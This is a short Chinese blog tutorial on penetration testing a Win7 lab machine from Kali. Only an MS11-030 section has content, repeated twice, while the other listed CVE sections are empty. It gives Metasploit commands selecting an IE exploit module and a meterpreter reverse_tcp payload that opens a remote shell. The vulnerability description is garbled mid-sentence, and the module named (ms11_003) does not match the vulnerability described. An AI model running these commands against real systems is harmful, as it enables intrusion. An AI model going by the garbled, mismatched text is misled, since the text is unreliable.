admin管理员组

文章数量:1032210

文章目录

  • 一.准备两台虚拟机，kali和win7，使用neuss和nmap对win7进行扫描
  • 二.ms11_030
  • 三.MS17-010（Eternal blue永恒之蓝）
  • 四.CVE-2017-11882
  • 五.CVE-2019-0708

一.准备两台虚拟机，kali和win7，使用neuss和nmap对win7进行扫描


二.ms11_030

1.ms原理：在已经安装的 Windows DNS 客户端处理链路本地多播名称解析查询方式中的一个缺陷可被利用来在 NetworkSer11-030 DNS 解析中的漏洞可能允许远程代码执行vice 帐户的上下文中执行任意代码。如果攻击者获得对网络的访问权限，然后创建自定义程序以向目标系统发送特制的 LLMNR 广播查询，则该漏洞可能允许远程执行代码。
2.渗透过程
设置参数 （payload，ip等）
use exploit/windows/browser/ms11_003_ie_css_import
set payload windows/meterpreter/reverse_tcp

3.Exploit后出现网站，win7访问

文章目录

  • 一.准备两台虚拟机，kali和win7，使用neuss和nmap对win7进行扫描
  • 二.ms11_030
  • 三.MS17-010（Eternal blue永恒之蓝）
  • 四.CVE-2017-11882
  • 五.CVE-2019-0708

一.准备两台虚拟机，kali和win7，使用neuss和nmap对win7进行扫描


二.ms11_030

1.ms原理：在已经安装的 Windows DNS 客户端处理链路本地多播名称解析查询方式中的一个缺陷可被利用来在 NetworkSer11-030 DNS 解析中的漏洞可能允许远程代码执行vice 帐户的上下文中执行任意代码。如果攻击者获得对网络的访问权限，然后创建自定义程序以向目标系统发送特制的 LLMNR 广播查询，则该漏洞可能允许远程执行代码。
2.渗透过程
设置参数 （payload，ip等）
use exploit/windows/browser/ms11_003_ie_css_import
set payload windows/meterpreter/reverse_tcp

3.Exploit后出现网站，win7访问

本文标签： 网络

版权声明：本文标题：对win7进行网络渗透 内容由热心网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://it.en369.cn/jiaocheng/1742352690a1949505.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。